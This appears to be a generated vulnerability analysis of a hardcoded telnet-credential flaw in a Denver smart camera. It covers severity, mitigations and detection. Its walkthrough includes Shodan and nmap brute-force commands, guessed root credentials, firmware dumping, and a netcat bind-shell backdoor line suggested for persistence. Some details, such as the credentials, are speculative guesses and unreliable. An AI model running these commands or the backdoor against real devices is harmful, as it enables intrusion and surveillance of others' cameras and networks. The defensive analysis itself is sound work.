Comprehensive Technical Analysis of CVE-2021-47796

Denver SHC-150 Smart WiFi Camera – Hardcoded Telnet Credential Vulnerability

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2021-47796 is a critical authentication bypass vulnerability in the Denver SHC-150 Smart WiFi Camera, stemming from hardcoded telnet credentials embedded in the firmware. This flaw allows unauthenticated remote attackers to gain root-level access to the device’s underlying Linux operating system via Telnet (port 23).

CVSS v3.1 Scoring & Severity Breakdown

Metric	Value	Explanation
Base Score	9.8 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the network without physical access.
Attack Complexity (AC)	Low (L)	No user interaction or special conditions required.
Privileges Required (PR)	None (N)	No prior authentication needed.
User Interaction (UI)	None (N)	Exploitable without victim involvement.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable device.
Confidentiality (C)	High (H)	Full system compromise, including sensitive data (e.g., video feeds, credentials).
Integrity (I)	High (H)	Attacker can modify firmware, configurations, or inject malicious code.
Availability (A)	High (H)	Device can be bricked, disabled, or repurposed for botnet activity.

Risk Assessment

• Exploitability: Trivial – Publicly available exploit code (Exploit-DB #50160) enables automated attacks.
• Prevalence: High – Many IoT devices suffer from hardcoded credentials; this is a recurring issue in consumer-grade smart cameras.
• Impact: Severe – Full system compromise enables lateral movement, surveillance, botnet recruitment, or ransomware deployment.

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2. Potential Attack Vectors & Exploitation Methods

Primary Attack Vector: Unauthenticated Telnet Access

1. Discovery Phase

   • Attacker scans the network for open Telnet (port 23) on Denver SHC-150 cameras.
   • Tools: Nmap (nmap -p 23 --script telnet-brute <target>), Masscan, Shodan (port:23 "Denver SHC-150").

2. Exploitation Phase

   • Attacker connects via Telnet using hardcoded credentials (likely root:admin, admin:admin, or similar).
   • Exploit Example (Metasploit/Manual):

     telnet <TARGET_IP>
     # Enter hardcoded credentials (e.g., root:123456)
     

   • Once authenticated, the attacker gains a root shell with full control over the device.

3. Post-Exploitation Actions

   • Persistence: Modify startup scripts (/etc/rc.local) or install backdoors.
   • Lateral Movement: Use the camera as a pivot point to attack other devices on the network.
   • Data Exfiltration: Access stored video feeds, WiFi credentials, or other sensitive data.
   • Botnet Recruitment: Enlist the device in a DDoS botnet (e.g., Mirai, Mozi).
   • Firmware Tampering: Replace legitimate firmware with malicious versions.

Secondary Attack Vectors

• Supply Chain Attacks: If the camera is deployed in enterprise environments, attackers could use it as an entry point.
• Man-in-the-Middle (MitM): If the camera connects to a cloud service, attackers could intercept or manipulate traffic.
• Physical Access: If an attacker gains physical access, they can extract firmware for reverse engineering.

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3. Affected Systems & Software Versions

Vulnerable Product

• Device Model: Denver SHC-150 Smart WiFi Camera (Indoor model)
• Firmware Version: All versions prior to the patched release (if any exists).
• Hardware Revision: Likely affects all units shipped before the vulnerability was disclosed.

Verification Methods

• Firmware Analysis:
  • Extract firmware via UART, JTAG, or firmware dumping tools (e.g., binwalk, Firmware Mod Kit).
  • Search for hardcoded credentials in /etc/passwd, /etc/shadow, or configuration files.
• Network Scanning:
  • Check for open Telnet (port 23) and attempt default credentials.
  • Use Shodan or Censys to identify exposed devices.

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4. Recommended Mitigation Strategies

Immediate Actions (For End Users & Organizations)

Mitigation	Implementation	Effectiveness
Disable Telnet	Use the camera’s web interface or mobile app to disable Telnet (if possible).	High (if supported)
Network Segmentation	Isolate IoT devices on a separate VLAN with strict firewall rules.	High
Firewall Rules	Block inbound/outbound Telnet (port 23) at the network perimeter.	High
Change Default Credentials	If the device allows credential changes, replace them with strong, unique passwords.	Medium (if supported)
Disable Unused Services	Disable UPnP, FTP, or other unnecessary services.	Medium
Firmware Updates	Check Denver’s official website for patches (though none may exist).	Low (if no updates available)

Long-Term Solutions (For Vendors & Enterprises)

1. Firmware Hardening

   • Remove hardcoded credentials from firmware.
   • Implement secure credential storage (e.g., hashed passwords, TPM-based authentication).
   • Disable Telnet by default and enforce SSH with key-based authentication.

2. Automated Vulnerability Scanning

   • Deploy IoT security scanners (e.g., Forescout, Armis, Tenable.io) to detect vulnerable devices.
   • Use Shodan/Censys to monitor for exposed devices.

3. Zero Trust Architecture

   • Enforce least-privilege access for IoT devices.
   • Implement micro-segmentation to limit lateral movement.

4. Vendor Responsibility

   • Issue a recall or firmware update to patch the vulnerability.
   • Publish a security advisory with mitigation steps.
   • Implement secure development lifecycle (SDL) to prevent future flaws.

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5. Impact on the Cybersecurity Landscape

Broader Implications

• IoT Security Crisis: This vulnerability is representative of a systemic issue in consumer IoT devices, where cost-cutting leads to insecure defaults.
• Botnet Recruitment: Vulnerable cameras are prime targets for botnets (e.g., Mirai, Mozi), contributing to DDoS attacks, cryptojacking, and espionage.
• Privacy Violations: Unauthorized access to camera feeds can lead to surveillance, blackmail, or corporate espionage.
• Regulatory Scrutiny: Governments may impose stricter IoT security regulations (e.g., UK PSTI Act, EU Cyber Resilience Act).

Historical Context

• Similar vulnerabilities have been exploited in:
  • CVE-2016-10372 (D-Link DCS-930L) – Hardcoded credentials in IP cameras.
  • CVE-2017-17215 (Huawei HG532e) – Remote code execution via Telnet.
  • Mirai Botnet (2016) – Exploited default credentials in IoT devices.

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6. Technical Details for Security Professionals

Exploitation Walkthrough

1. Identify Target

   • Use Shodan to find exposed Denver SHC-150 cameras:

     shodan search "Denver SHC-150" port:23
     

   • Alternatively, scan local networks with Nmap:

     nmap -p 23 --script telnet-brute <TARGET_IP>
     

2. Connect via Telnet

   • Attempt default credentials (common combinations):

     telnet <TARGET_IP>
     # Try: root:admin, admin:admin, root:123456, admin:password
     

   • If successful, a root shell is obtained:

     # id
     uid=0(root) gid=0(root)
     

3. Post-Exploitation Analysis

   • Check running processes:

     ps aux
     

   • Inspect network connections:

     netstat -tuln
     

   • Dump firmware (if needed):

     cat /dev/mtdblock* > /tmp/firmware_dump.bin
     

   • Persistence mechanisms:
     • Modify /etc/rc.local to execute a reverse shell on boot.
     • Install a backdoor (e.g., nc -lvp 4444 -e /bin/sh).

Firmware Reverse Engineering (Optional)

1. Extract Firmware
   • Use binwalk to analyze the firmware:

     binwalk -e firmware_dump.bin
     

2. Search for Hardcoded Credentials
   • Grep for common credential patterns:

     strings _firmware_dump.bin.extracted/squashfs-root/etc/passwd | grep -i "root"
     strings _firmware_dump.bin.extracted/squashfs-root/etc/shadow
     

3. Analyze Telnet Service
   • Check if BusyBox or Dropbear is used for Telnet/SSH.
   • Look for backdoor accounts in /etc/passwd.

Detection & Monitoring

• SIEM Rules (e.g., Splunk, ELK):
  • Alert on unauthorized Telnet connections to IoT devices.
  • Monitor for unusual outbound traffic from cameras (e.g., DDoS participation).
• Network Traffic Analysis:
  • Use Zeek (Bro) or Suricata to detect Telnet brute-force attempts.
  • Look for unexpected shell sessions from IoT devices.

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Conclusion & Recommendations

Key Takeaways

• CVE-2021-47796 is a critical, easily exploitable vulnerability with severe real-world consequences.
• Hardcoded credentials remain a pervasive issue in IoT devices, highlighting the need for secure-by-design principles.
• Immediate mitigation is required to prevent botnet recruitment, espionage, and network compromise.

Actionable Recommendations

1. For Consumers:

   • Replace or isolate vulnerable Denver SHC-150 cameras if no patch is available.
   • Disable Telnet and segment IoT devices from critical networks.

2. For Enterprises:

   • Deploy IoT security solutions (e.g., Forescout, Armis) to detect and mitigate risks.
   • Enforce strict access controls and monitor for anomalous activity.

3. For Vendors:

   • Issue a firmware update to remove hardcoded credentials.
   • Implement secure development practices to prevent future vulnerabilities.

Final Risk Rating

Factor	Rating
Exploitability	Critical (10/10)
Impact	Critical (9.8/10)
Remediation Difficulty	High (No patch available)
Overall Risk	Extreme

Security professionals should treat this vulnerability as an urgent priority, particularly in environments where IoT devices are deployed at scale.